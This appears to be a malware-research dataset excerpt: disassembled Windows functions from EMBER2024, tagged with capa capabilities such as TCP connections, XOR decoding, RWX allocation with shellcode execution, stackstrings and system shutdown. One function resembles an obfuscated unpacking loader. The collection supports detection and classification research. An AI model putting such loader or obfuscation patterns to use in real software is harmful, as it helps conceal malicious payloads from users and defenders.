joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409a30
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x409a4e
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x409a8f
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x404dd8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x404de7
pop dword [ebp - 0x40]
mov eax, 0x404de7
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x7cd25d3c
add dword [ebp - 0x50], 0xd17fe80f
mov dword [ebp - 0x4c], 0xa63324e6
add dword [ebp - 0x4c], 0x8c00275f
mov dword [ebp - 0x48], 0xe58ebea2
add dword [ebp - 0x48], 0x66bd858c
mov dword [ebp - 0x44], 0xd82de7e0
sub dword [ebp - 0x44], 0xd82de7e0
lea eax, [ebp - 0x50]
push eax
mov eax, 0xfae453ec
add eax, 0x55ddc88
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x3eb65abe
add dword [ebp - 0x50], 0x35bc0e98
mov dword [ebp - 0x4c], 0x12180da2
sub dword [ebp - 0x4c], 0xd0abac2d
mov dword [ebp - 0x48], 0xa42e40e2
add dword [ebp - 0x48], 0xbf412b8a
mov dword [ebp - 0x44], 0x63e06812
add dword [ebp - 0x44], 0x9c1f97ee
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3c6e1
push 0
call eax
mov ecx, 0x5977db0f
add ecx, 0xa68867b2
xor ebx, ebx
add ebx, eax
mov esi, 0xd0eb57ec
add esi, 0x2f57ec14
add esi, dword [ebp - 0x40]
mov edi, 0xe86c701
add edi, 0x8ad9910f
add dword [ebp - 0x18], ecx
mov edx, dword [esi]
sub dword [ebp - 0xc], ebx
sub edx, edi
xor dword [ebp - 0x38], edx
mov dword [ebx], edx
xor dword [ebp - 0x38], 0xdf9fb0ac
add ebx, 0xb12abc09
sub ebx, 0xb12abc05
add esi, 0x6ea55d0a
add esi, 0x915aa2fa
loop 0x404f01
add eax, 0xaff44895
sub eax, 0xaff34abe
mov ebx, eax
add eax, 0xacbf4e36
add eax, 0x5340b1cf
mov ecx, 0x4a53f9a7
add ecx, 0xb5ec0659
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c
Function at 0x4014a9
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x250
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x228], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x21c], 6
push ebx
push ebx
mov dword [esp + 4], 0x7f00
mov dword [esp], 0
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x218], 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push esi
push esi
mov dword [esp + 4], 0x7f00
mov dword [esp], 0
mov dword [ebp - 0x220], eax
call dword [sym.imp.USER32.dll_LoadIconA]
push edx
push edx
mov dword [ebp - 0x224], eax
lea eax, [ebp - 0x238]
mov dword [esp], eax
call dword [sym.imp.USER32.dll_RegisterClassA]
push ecx
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
lea ebx, [ebp - 0x210]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
push esi
push esi
mov dword [esp + 4], ebx
mov dword [esp], 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push eax
push eax
mov dword [esp], ebx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
call dword [sym.imp.KERNEL32.dll_CreateFileW]
sub esp, 0x1c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
lea esp, [ebp - 8]
lea eax, [ebx - 3]
pop ebx
pop esi
pop ebp
ret

Function at 0x401692
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [ebp - 0x88], 1
jmp loc.00463000

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40701c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x407028
push 0x407024
push 0x407020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x407028]
push dword [0x407024]
push dword [0x407020]
mov dword [0x407014], esp
call fcn.004014df
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret
Function at 0x418511
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x41854c
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x418533
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x418544
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x41854e
inc edi
add eax, 0x28
cmp edi, esi
jb 0x418529
xor eax, eax
pop edi
pop esi
ret

Function at 0x418901
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [di - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.004184e1
push eax
push esi
push dword [ebp + 8]
Function at 0x100b725
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x100b77e
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x100b770
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x100b76c
cmp esi, eax
jae 0x100b770
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x100b75e
cmp esi, eax
jb 0x100b774
xor eax, eax
jmp 0x100b77d
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop ebp
ret 0xc

Function at 0x100c3e3
Capabilities:
Accept command line arguments

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push edi
push dword [ebp + 0xc]
mov edi, ecx
push dword [ebp + 8]
call fcn.0100be05
test eax, eax
jl 0x100c42a
cmp dword [edi], 0
je 0x100c42a
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
push 0x10016a0
push 0x2022
mov esi, 0x10309f8
push esi
call fcn.0101a9ec
mov ecx, dword [edi]
add esp, 0x10
push esi
push 1
call fcn.0101865e
pop esi
pop edi
pop ebp
ret 8

Function at 0x100c434
Capabilities:
Shutdown system

Disassembly:
push 8
mov eax, 0x101ff51
call fcn.0101a478
mov edi, ecx
push 0x1044e10
lea ecx, [ebp - 0x14]
call fcn.0100bc7d
push 1
xor esi, esi
push 0x1001798
mov ecx, edi
mov dword [ebp - 4], esi
call fcn.0100bfba
cmp eax, esi
mov dword [ebp - 0x10], eax
jge 0x100c48e
cmp dword [edi], esi
je 0x100c53c
push 0x10014c8
push 0x2022
mov esi, 0x10309f8
push esi
call fcn.0101a9ec
add esp, 0xc
jmp 0x100c532
push 0x80020003
push 1
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownExW]
mov ebx, 0x2022
mov esi, 0x10309f8
test eax, eax
jne 0x100c50f
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x14]
push ecx
push eax
mov dword [ebp - 0x10], eax
call fcn.0101c994
mov eax, dword [ebp - 0x10]
test eax, eax
jle 0x100c4d1
and eax, 0xffff
or eax, 0x80070000
cmp dword [edi], 0
mov dword [ebp - 0x10], eax
je 0x100c50f
push eax
push 0x1001748
push ebx
push esi
call fcn.0101a9ec
mov ecx, dword [edi]
add esp, 0x10
push esi
push 3
call fcn.0101865e
cmp dword [edi], 0
je 0x100c50f
push dword [ebp - 0x14]
push ebx
push esi
call fcn.0101a9ec
mov ecx, dword [edi]
add esp, 0xc
push esi
push 3
call fcn.0101865e
push 0
push 0x1001798
mov ecx, edi
call fcn.0100bfba
cmp dword [edi], 0
je 0x100c53c
push eax
push 0x10016e8
push ebx
push esi
call fcn.0101a9ec
add esp, 0x10
mov ecx, dword [edi]
push esi
push 3
call fcn.0101865e
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.0100b8fc
mov eax, dword [ebp - 0x10]
call fcn.0101a564
ret
Function at 0x100e009
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [0x1034a9c]
push esi
xor esi, esi
cmp eax, esi
je 0x100e08a
push eax
call fcn.0100df3b
test eax, eax
je 0x100e03d
push esi
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [0x1034a9c]
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
jmp 0x100e08a
mov eax, dword [ebp + 0xc]
push edi
add eax, eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
cmp edi, esi
je 0x100e089
mov eax, dword [ebp + 0xc]
push esi
push esi
lea ecx, [eax + eax]
push ecx
push edi
push eax
push dword [ebp + 8]
push esi
push 1
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp + 0xc], eax
cmp eax, esi
je 0x100e082
push esi
lea ecx, [ebp + 0xc]
push ecx
push eax
push edi
push dword [0x1034a9c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
xor eax, eax
pop esi
pop ebp
ret 8

Function at 0x100f0d7
Capabilities:
Accept command line arguments

Disassembly:
push 0x10
mov eax, 0x1020378
call fcn.0101a4b0
mov esi, ecx
mov dword [ebp - 0x18], esi
mov eax, dword [esi + 0x44]
xor ebx, ebx
mov dword [ebp - 0x14], ebx
cmp dword [esi + 0x18], ebx
jne 0x100f1a4
cmp dword [esi + 0x7c], 1
jle 0x100f1a4
cmp eax, ebx
jne 0x100f147
mov eax, dword [esi + 0x48]
cmp eax, ebx
jne 0x100f122
cmp dword [esi + 0x24], ebx
jne 0x100f11e
mov eax, dword [ebp + 8]
mov dword [eax], 0xc1500039
jmp 0x100f13b
cmp eax, ebx
je 0x100f12d
mov eax, dword [ebp + 8]
mov dword [eax], 0xc1500035
jmp 0x100f13b
cmp dword [esi + 0x24], ebx
je 0x100f13b
mov eax, dword [ebp + 8]
mov dword [eax], 0xc150000e
mov dword [ebp - 0x14], 0x80070667
jmp 0x100f21c
mov ecx, dword [esi + 0x30]
cmp ecx, ebx
je 0x100f168
cmp dword [esi + 0x24], ebx
jne 0x100f168
mov eax, dword [ebp + 8]
mov dword [eax], 0xc1500012
mov dword [ebp - 0x14], 0x80070057
jmp 0x100f21c
mov eax, dword [esi + 0x48]
cmp eax, ebx
je 0x100f187
cmp ecx, ebx
je 0x100f17e
mov eax, dword [ebp + 8]
mov dword [eax], 0xc1500019
jmp 0x100f15c
cmp eax, ebx
je 0x100f187
cmp dword [esi + 0x24], ebx
jne 0x100f173
cmp dword [esi + 0x38], ebx
je 0x100f24b
cmp dword [esi + 0x70], ebx
jne 0x100f24b
mov eax, dword [ebp + 8]
mov dword [eax], 0xc1500032
jmp 0x100f15c
lea edi, [esi + 0x14]
mov eax, dword [edi]
mov dword [esi + 0x18], 1
mov dword [ebp - 0x14], ebx
cmp dword [eax - 0xc], ebx
jne 0x100f24b
push 0x3e8
lea eax, [ebp + 8]
push eax
push dword [0x10309f0]
call fcn.0101d5fd
add esp, 0xc
cmp eax, ebx
mov dword [ebp - 0x14], eax
jl 0x100f21c
push dword [ebp + 8]
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.0100cb21
push dword [ebp + 8]
mov ecx, dword [0x10309f0]
or dword [ebp - 4], 0xffffffff
call fcn.0101d10f
cmp eax, ebx
mov dword [ebp - 0x14], eax
jge 0x100f24b
jmp 0x100f217
cmp dword [ebp - 0x14], ebx
jge 0x100f24b
cmp dword [esi + 0x6c], ebx
je 0x100f24b
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
push 0x10016a0
push 0x2022
mov edi, 0x1034aa0
push edi
call fcn.0101a9ec
mov ecx, dword [esi + 0x6c]
add esp, 0x10
push edi
push 1
call fcn.0101865e
mov eax, dword [ebp - 0x14]
call fcn.0101a564
ret 4
Function at 0x1010d92
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1010da9
xor eax, eax
jmp 0x1010dbd
test al, 0x10
jne 0x1010dba
push 0x10b
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x1010da5
xor eax, eax
inc eax
pop ebp
ret 4
Function at 0x10187ad
Capabilities:
Get system information on windows

Disassembly:
push 0x148
mov eax, 0x102114b
call fcn.0101a4eb
mov dword [ebp - 0x128], ecx
push 0x1044e10
lea ecx, [ebp - 0x12c]
call fcn.0100bc7d
push 9
pop ecx
xor eax, eax
mov esi, 0x114
xor ebx, ebx
lea edi, [ebp - 0x154]
push esi
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x124]
push ebx
push eax
mov dword [ebp - 4], ebx
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x154]
push eax
mov dword [ebp - 0x124], esi
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0x12c]
push eax
movzx eax, word [ebp - 0x154]
push eax
call fcn.0101c7ed
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x101887f
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
mov edi, 0xffff
mov esi, 0x80070000
test eax, eax
jle 0x1018854
and eax, edi
or eax, esi
test eax, eax
jge 0x1018862
call ebx
test eax, eax
jle 0x1018867
and eax, edi
or eax, esi
jmp 0x1018867
mov eax, 0x80004005
mov esi, eax
mov ecx, dword [ebp - 0x12c]
add ecx, 0xfffffff0
call fcn.0100b8fc
mov eax, esi
call fcn.0101a57d
ret
cmp dword [ebp - 0x128], ebx
je 0x1018924
mov ebx, 0x100167c
push ebx
mov edi, 0x2022
push edi
mov esi, 0x1040d58
push esi
call fcn.0101a9ec
mov ecx, dword [ebp - 0x128]
add esp, 0xc
push esi
push 3
call fcn.0101865e
push 0x1005fd8
push edi
push esi
call fcn.0101a9ec
mov ecx, dword [ebp - 0x128]
add esp, 0xc
push esi
push 3
call fcn.0101865e
push ebx
push edi
push esi
call fcn.0101a9ec
mov ecx, dword [ebp - 0x128]
add esp, 0xc
push esi
push 3
call fcn.0101865e
push dword [ebp - 0x140]
push dword [ebp - 0x12c]
push dword [ebp - 0x118]
push dword [ebp - 0x11c]
push dword [ebp - 0x120]
push 0x1005f18
push edi
push esi
call fcn.0101a9ec
mov ecx, dword [ebp - 0x128]
add esp, 0x20
push esi
push 3
call fcn.0101865e
mov esi, dword [ebp - 0x130]
jmp 0x1018869

Function at 0x1019a45
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x1028534]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
call fcn.01019986
mov eax, 0x1000000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x98]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x88], 2
jne 0x1019ab8
cmp dword [ebp - 0x94], 5
jb 0x1019ad9
jmp 0x1019ad5
cmp dword [ebp - 0x88], 1
jne 0x1019ad9
cmp dword [ebp - 0x94], 4
ja 0x1019ad5
jne 0x1019ad9
cmp dword [ebp - 0x90], 0
jbe 0x1019ad9
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x1006118
call fcn.0100b6d5
test eax, eax
jge 0x1019afa
mov byte [0x10309d4], 1
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0101a463
leave
ret
Function at 0x101c282
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x1028534]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
xor eax, eax
push 0x206
xor edi, edi
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push edi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
push edi
push 0x100629c
push esi
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x101c2ec
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, edi
jle 0x101c2e8
and eax, 0xffff
or eax, 0x80070000
mov edi, eax
jmp 0x101c314
push edi
push 0x4000000
push 2
push edi
push edi
push 0xc0000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x101c2d4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.0101a463
leave
ret 4
Function at 0x101c5d5
Capabilities:
Parse pe header
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14c
mov eax, dword [0x1028534]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
push ebx
push esi
xor esi, esi
push esi
push 0x80
push 3
push esi
xor ebx, ebx
inc ebx
push ebx
push 0x80000000
push eax
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x54], esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4c], eax
cmp eax, 0xffffffff
jne 0x101c63c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, esi
jg 0x101c630
mov dword [ebp - 0x48], eax
jmp 0x101c780
and eax, 0xffff
or eax, 0x80070000
jmp 0x101c628
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
lea ecx, [ebp - 0x54]
push ecx
push 0x40
lea ecx, [ebp - 0x44]
push ecx
push eax
call edi
test eax, eax
jne 0x101c661
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, esi
jg 0x101c6b1
jmp 0x101c6bb
mov eax, 0x5a4d
cmp word [ebp - 0x44], ax
jne 0x101c759
push esi
push esi
push dword [ebp - 8]
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
je 0x101c690
call esi
test eax, eax
jmp 0x101c65d
push 0
lea eax, [ebp - 0x54]
push eax
push 0xf8
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 0x4c]
call edi
test eax, eax
jne 0x101c6c3
call esi
test eax, eax
jle 0x101c6bb
and eax, 0xffff
or eax, 0x80070000
mov dword [ebp - 0x48], eax
jmp 0x101c776
cmp dword [ebp - 0x14c], 0x4550
push 6
pop edx
push 9
pop esi
jne 0x101c74d
movzx eax, word [ebp - 0xf0]
sub eax, 5
je 0x101c74a
dec eax
dec eax
je 0x101c746
movzx ecx, word [ebp - 0x148]
mov eax, 0x1f0
cmp ecx, eax
jg 0x101c71e
je 0x101c71a
sub ecx, 0x14c
je 0x101c716
sub ecx, 0x16
je 0x101c712
sub ecx, 4
je 0x101c712
sub ecx, 0x1e
jne 0x101c736
push 8
jmp 0x101c74c
push 7
jmp 0x101c74c
mov ebx, edx
jmp 0x101c74d
mov ebx, esi
jmp 0x101c74d
cmp ecx, 0x200
je 0x101c742
cmp ecx, 0x284
je 0x101c73e
cmp ecx, 0x8664
je 0x101c73a
xor ebx, ebx
jmp 0x101c74d
push 0xc
jmp 0x101c74c
push 0xa
jmp 0x101c74c
push 0xb
jmp 0x101c74c
push 4
jmp 0x101c74c
push 5
pop ebx
sub ebx, edx
je 0x101c770
sub ebx, 5
je 0x101c769
dec ebx
je 0x101c762
mov dword [ebp - 0x48], 0x80070057
jmp 0x101c776
mov eax, dword [ebp - 0x50]
mov dword [eax], esi
jmp 0x101c776
mov eax, dword [ebp - 0x50]
mov dword [eax], edx
jmp 0x101c776
mov eax, dword [ebp - 0x50]
and dword [eax], 0
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x48]
pop esi
xor ecx, ebp
pop ebx
call fcn.0101a463
leave
ret 8
Function at 0x101ca1b
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x1028534]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x114
xor edi, edi
lea eax, [ebp - 0x118]
push edi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
mov dword [ebp - 0x118], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x101ca7e
cmp dword [ebp - 0x108], 2
jne 0x101ca7e
cmp dword [ebp - 0x114], 6
jne 0x101ca7e
cmp dword [ebp - 0x110], edi
jne 0x101ca7e
inc edi
mov ecx, dword [ebp - 4]
mov eax, edi
xor ecx, ebp
pop edi
call fcn.0101a463
leave
ret

Function at 0x101caf8
Capabilities:
Get system information on windows

Disassembly:
push 0x2c
mov eax, 0x1021460
call fcn.0101a478
push 0x1044e10
lea ecx, [ebp - 0x10]
call fcn.0100bc7d
and dword [ebp - 4], 0
lea eax, [ebp - 0x38]
mov esi, 0xffff
push eax
mov dword [ebp - 0x14], esi
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
push 0x1006308
push edi
call fcn.0101c3c6
test eax, eax
jl 0x101cbb7
push dword [ebp - 0x10]
call fcn.0101f6b2
test eax, eax
jne 0x101cb50
mov esi, 0x8007007e
jmp 0x101cbb9
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
call fcn.0101c5d5
mov ebx, eax
test ebx, ebx
jge 0x101cb66
mov esi, ebx
jmp 0x101cbb9
mov eax, dword [ebp - 0x14]
cmp eax, esi
jne 0x101cb74
mov esi, 0x80004005
jmp 0x101cbb9
cmp word [ebp - 0x38], 9
je 0x101cba9
cmp word [ebp - 0x38], 6
je 0x101cba9
test eax, eax
je 0x101cba9
cmp eax, 6
je 0x101cb9f
cmp eax, 9
je 0x101cb9f
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.0100b8fc
mov eax, ebx
jmp 0x101cbc6
push dword [ebp + 0xc]
push 0x10062f4
jmp 0x101cbb1
push dword [ebp + 0xc]
push 0x10062e0
push edi
call fcn.0101c3c6
mov esi, eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.0100b8fc
mov eax, esi
call fcn.0101a564
ret 8
Function at 0x101cd11
Capabilities:
Query environment variable

Disassembly:
push 0x10
mov eax, 0x10214a0
call fcn.0101a4b0
mov edi, dword [ebp + 8]
mov eax, dword [edi]
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], ecx
cmp dword [eax - 0xc], ecx
je 0x101cd88
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push ecx
push ecx
push eax
call esi
mov ebx, eax
test ebx, ebx
jne 0x101cd5c
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x101cd57
and eax, 0xffff
or eax, 0x80070000
mov dword [ebp - 0x14], eax
jmp 0x101cd97
push 0x1044eac
xor ecx, ecx
push 2
pop edx
lea eax, [ebx + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0101a694
pop ecx
pop ecx
mov dword [ebp - 0x18], eax
test eax, eax
jne 0x101cda2
mov dword [ebp - 0x14], 0x8007000e
cmp dword [ebp - 0x18], 0
je 0x101cd97
push dword [ebp - 0x18]
call fcn.01019ea8
pop ecx
mov eax, dword [ebp - 0x14]
call fcn.0101a564
ret 4
mov eax, dword [edi]
push ebx
push dword [ebp - 0x18]
push eax
call esi
test eax, eax
jne 0x101cdc8
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x101cdc3
and eax, 0xffff
or eax, 0x80070000
mov dword [ebp - 0x14], eax
jmp 0x101cd88
push dword [ebp - 0x18]
mov ecx, edi
call fcn.0100cb21
jmp 0x101cd88